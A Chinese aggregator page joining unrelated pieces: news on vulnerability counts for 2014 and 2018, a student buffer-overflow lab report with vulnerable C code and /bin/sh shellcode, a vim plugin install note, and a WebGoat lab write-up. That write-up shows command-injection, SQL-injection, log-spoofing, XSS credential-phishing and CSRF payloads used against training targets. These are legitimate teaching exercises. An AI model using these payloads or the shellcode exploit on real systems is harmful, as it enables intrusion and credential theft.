本文将为您提供关于2014年软件安全漏洞增长18%的详细介绍,我们还将为您解释2014年的软件的相关知识,同时,我们还将为您提供关于2018年软件安全漏洞数量和严重性创下历史新高、2018-2019-
本文将为您提供关于2014 年软件安全漏洞增长 18%的详细介绍,我们还将为您解释2014年的软件的相关知识,同时,我们还将为您提供关于2018 年软件安全漏洞数量和严重性创下历史新高、2018-2019-1 20165301 《信息安全系统设计基础》缓冲区溢出漏洞实验报告、2018-2019-1 20189206 vim.c插件安装、2018-2019-2 20165314 《网络对抗技术》 Exp 9 Web安全基础的实用信息。
本文目录一览:- 2014 年软件安全漏洞增长 18%(2014年的软件)
- 2018 年软件安全漏洞数量和严重性创下历史新高
- 2018-2019-1 20165301 《信息安全系统设计基础》缓冲区溢出漏洞实验报告
- 2018-2019-1 20189206 vim.c插件安装
- 2018-2019-2 20165314 《网络对抗技术》 Exp 9 Web安全基础
2014 年软件安全漏洞增长 18%(2014年的软件)
根据安全公司Secunia一份新报告显示,在2014 年,有3870款软件出现了15435个漏洞,漏洞数量比2013年增长18%,爆出漏洞的软件数量增加了22%。Secunia表示,他们发现的软件安全漏洞逐年增加,因此公司的IT团队需要对正在使用的应用程序有完全可视性和洞察力,他们需要坚定的政策和程序,以应对安全漏洞。
根据这份报告,2014年核心产品安全漏洞令人担心,其中,谷歌Chrome浏览器有504个漏洞,Oracle Solaris有483个安全漏洞,Gentoo Linux有350安全漏洞没,微软IE浏览器有289个安全漏洞,苹果的OS X有147个安全漏洞,Windows 8有105个安全漏洞。该报告指出,开放源代码的漏洞往往捆绑出现,因为应用程序和库可以捆绑在各种产品当中,安装在主机系统不同位置。
纵 观个人电脑2014年前50个最流行的应用程序当中,18款产品发现的安全漏洞合计1348个,然而,有趣的是,2014年前50个最流行的应用程序当中 存在的安全漏洞,其中有77%的安全漏洞与微软操作系统或者应用程序无关。微软应用程序2014年漏洞数量仅占2014年全部漏洞数量的21%。
稿源:cnbeta
2018 年软件安全漏洞数量和严重性创下历史新高
根据Risk Based Security的最新报告,今年迄今为止披露的创纪录的10,644个漏洞中有近17%属于高危级别的严重漏洞,企业和个人面临的安全威胁与日俱增。
对于那些希望从软件补丁修补中获得喘息的组织来说,目前看起来似乎没有什么缓解的迹象。今天发布的Risk Based Security的最新安全报告显示,软件中发现的漏洞数量并没有减少的迹象。
在今年1月1日至6月30日期间,业界共发布了10,644个漏洞,超过2017年同期的9,690个漏洞。今年迄今为止的趋势表明,2018年披露的漏洞总数将轻松超过2017年全年的20,832个漏洞,这个数字 比2016年增长了31%。
今年报告的软件漏洞中约有17%属于严重漏洞,在CVSS评级量表上的严重等级在9.0到10.0之间。不过这个数字相比2017年上半年Risk Based Security报告中21.1%的严重漏洞占比已经有所下降。
2018年报告发现的漏洞中,46.3%与web相关,接近一半属于远程利用漏洞。今年迄今为止风险安全数据库中近三分之一的漏洞都属于公开漏洞,但有73%的公开漏洞已有解决方案。
Risk Based Security漏洞情报副总裁Brian Martin表示,大多数漏洞都从用户或攻击者的输入着手,而软件对恶意输入往往缺乏免疫能力。“我们将它们归类为影响软件完整性的输入操作问题,”他指出。
并非所有漏洞都收录进CVE和NVD数据库
值得注意的是,2018年上半年,Risk Based Security的漏洞数据库中有超过3,275个漏洞并未在MITRE的CVE和国家漏洞数据库(NVD)中发布。其中,超过23%的漏洞的CVSS评分在9.0到10.0之间。
换句话说,纯粹依赖CVS / NVD漏洞数据的企业和组织可能完全不知道自己至少漏掉了超过750个严重漏洞。
来自:IT经理网
2018-2019-1 20165301 《信息安全系统设计基础》缓冲区溢出漏洞实验报告
2018-2019-1 20165301 《信息安全系统设计基础》缓冲区溢出漏洞实验报告
实验介绍
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
实验步骤
-
进入32位linux系统
-
关闭地址空间随机化随机堆(heap)和栈(stack)的初始地址这一功能
$ sudo sysctl -w kernel.randomize_va_space=0
- 欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
-
攻击漏洞程序,并通过攻击获得 root 权限
-
运行攻击程序 exploit,再运行漏洞程序 stack
实验代码
stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
- GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
2018-2019-1 20189206 vim.c插件安装
vim插件安装
vim插件安装
由于今天在安装vim.c插件耗费了很多时间,配置文件一直不生效,特此记录以下安装插件的方法。
安装vim.c按照博客的方法
- 第一步:创建目录
~/.vim
这个目录是用来存放插件的地方,第一次安装需要创建目录mkdir ~./vim
mkdir src cd src git clone https://github.com/WolfgangMehner/c-support.git cp -r ./c-support/ ..
- 第二步:在配置文件中启用插件
由于我们的虚拟机自带vim,所以 .vimrc配置文件并不能在一开始直接在用户文件夹中找到。配置文件在/etc/vim/
文件夹下,我们需要将该文件夹下的.vimrc配置文件拷贝到~/.vimrc
下,然后进行启用插件。vim ~/.vimrc filetype plugin on
同时可以利用vi ~/.vim/c-support/templates/Templates
编辑模版,自动生成头注释时就可以显示我们想要展示的信息
- 第三步
使用vi hello.c
编辑文件的时候就会自动生成头文件
总结
今天安装vim.c 配置文件更改了之后仍然没有作用,开始以为是vimrc存放路径有问题,后来查看资料用户可以设置自己的vimrc配置文件,同时优先级也高于整体的vimrc配置文件,找了很多方法,没发现任何错误,最后在官网上重新下载了一个插件按照上述步骤成功安装了插件,打开.c文件也可以自动生成头文件。
2018-2019-2 20165314 《网络对抗技术》 Exp 9 Web安全基础
实验目的
-
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(sql,XSS,CSRF)。Webgoat实践下相关实验。#
实验内容
- sql注入攻击
- 命令注入(Command Injection)
- 数字型sql注入(Numeric sql Injection)
- 日志欺骗(Log Spoofing)
- 字符串型注入(String sql Injection)
- LAB: sql Injection
- 数据库后门(Database Backdoors)
- XSS攻击
- Phishing with XSS 跨站脚本钓鱼攻击
- Stored XSS Attacks
- Reflected XSS Attacks 反射型XSS攻击
- CSRF攻击
- Cross Site Request Forgery(CSRF)
-
CSRF Prompt By-Pass
课后问题回答
- Cross Site Request Forgery(CSRF)
- sql注入攻击原理,如何防御
- 注入点的不同分类,数字类型的注入,字符串类型的注入(2)提交方式的不同分类,GET注入,POST注入,COOKIE注入,HTTP注入,(3)获取信息的方式不同分类,基于布尔的盲注,基于时间的盲注,基于报错的注入1.定制黑名单:将常用的sql注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。2.限制查询长度:由于sql注入过程中需要构造较长的sql语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御sql注入的目的,但这种效果并不好。3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。4.白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。5.设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。6.限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
- XSS攻击的原理,如何防御
- XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
- XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
- CSRF攻击原理,如何防御
- CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。所以CSRF的攻击分为了两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用 等标签或者使用Javascript脚本。2.1 referer因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。2.2 使用验证码每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。2.3 使用token每一个网页包含一个web server产生的token,提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
实验过程
WebGoat安装
WebGoat是Owasp组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、sql盲注、数字型sql注入、字符串型sql注入、web服务、Open Authentication失效、危险的HTML注释等等.WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
首先要下载一下jar包,在这个[地址下载](https://github.com/WebGoat/WebGoat/releases/tag/7.0.1_
然后在虚拟机中含有这个文件包的目录下面运行java -jar webgoat-container-7.0.1-war-exec.jar
如果可以正常运行就会有如下反应
说明启动成功
然后在浏览器输入localhost:8080/WebGoat
下面有默认密码,登录即可开始试验
sql注入攻击
(1) 命令注入(Command Injection)可以让我们在目标主机上执行任何系统命令
首先进入网页点击Injection Flaws- Command Injection
右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
点击view
可以看到执行的结果
可以看到监控到某些端口的开放信息
然后没有注入的结果就是这样,返回值是0
(2) 数字型sql注入(Numeric sql Injection)
这个可以让我们显示天气状况
点击Injection Flaws-Numeric sql Injection
右键点击复选框,选择inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
在修改完之后点击go
然后就可以看到结果了,成功获取天气状况
(3) 日志欺骗(Log Spoofing)
可以让我们使用admin的账户在日志中显示成功登陆
点击Injection Flaws-Log Spoofing
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
利用回车0D%
和换行符%0A
让其在日志中两行显示
输入密码后点击Login
,可以看到webgoat在Login Fail
那行显示,我们自己添加的语句在下一行显示
然后我们还可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。用户名中输入admin <script>alert(document.cookie)</script>
可以看到弹窗消息
(4) 字符串型注入(String sql Injection)
目标:可以基于查询语句构造自己的sql 注入字符串将所有信用卡信息显示出来。
点击Injection Flaws-String sql Injection
输入查询的用户名Smith‘ or 1=1--
,使用了‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,这样就能select表里面的所有数据
(5) LAB: sql Injection
可以使用sql注入绕过认证。
在密码框输入‘ or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
在密码框右键选择inspect Element
审查网页元素对长度进行修改修改成50试一下
重新输入‘ or 1=1 --
,登录成功
说明修改一下网页某些元素的长度就可以达到目的了
(6) 数据库后门(Database Backdoors)
输入101,得到该用户的信息
发现语句没有进行认证
可以使用注入攻击
输入注入语句101; update employee set salary=10000
成功创建后门
XSS攻击
(1) Phishing with XSS 跨站脚本钓鱼攻击
点击Cross-Site Scripting (XSS) Phishing with XSS
一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
在页面的搜索框中输入代码,可以出现如下的搜索框
现在我们需要一段脚本:来传递参数
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
合并上面代码
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
并在搜索框中输入即可
输入后输入登录用户名和密码即可显示,WebGoat会将输入的信息捕获并反馈给我们。
(2) Stored XSS Attacks
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
在Message中构造语句<script>alert("20165303 attack succeed!");</script>
title随意输入,输入后可以发现刚刚创建的帖子
点击123可以看见攻击成功
(3) Reflected XSS Attacks 反射型XSS攻击
XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
在Enter your three digit access code:
中输入<script>alert("I am 20165314");</script>
点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。
输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息
CSRF攻击
(1) Cross Site Request Forgery(CSRF)
点击XSS-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters中的src和menu值,我的分别为314和900
在Message框中输入
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
(2) CSRF Prompt By-Pass
点击CSRF Prompt By-Pass
查看页面右下方的Parameters中的src和menu值,我的分别为329和900,并输入任意的Title,message框中输入代码
点击submit,生成以title命名的链接,点击链接攻击成功
实验心得
==好累啊,我最近遇到了一个人生中的一道大坎,反弹木马要是最后还是实现不了就认真的分析一下,讲讲过程吧==
关于2014 年软件安全漏洞增长 18%和2014年的软件的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于2018 年软件安全漏洞数量和严重性创下历史新高、2018-2019-1 20165301 《信息安全系统设计基础》缓冲区溢出漏洞实验报告、2018-2019-1 20189206 vim.c插件安装、2018-2019-2 20165314 《网络对抗技术》 Exp 9 Web安全基础等相关内容,可以在本站寻找。
本文标签: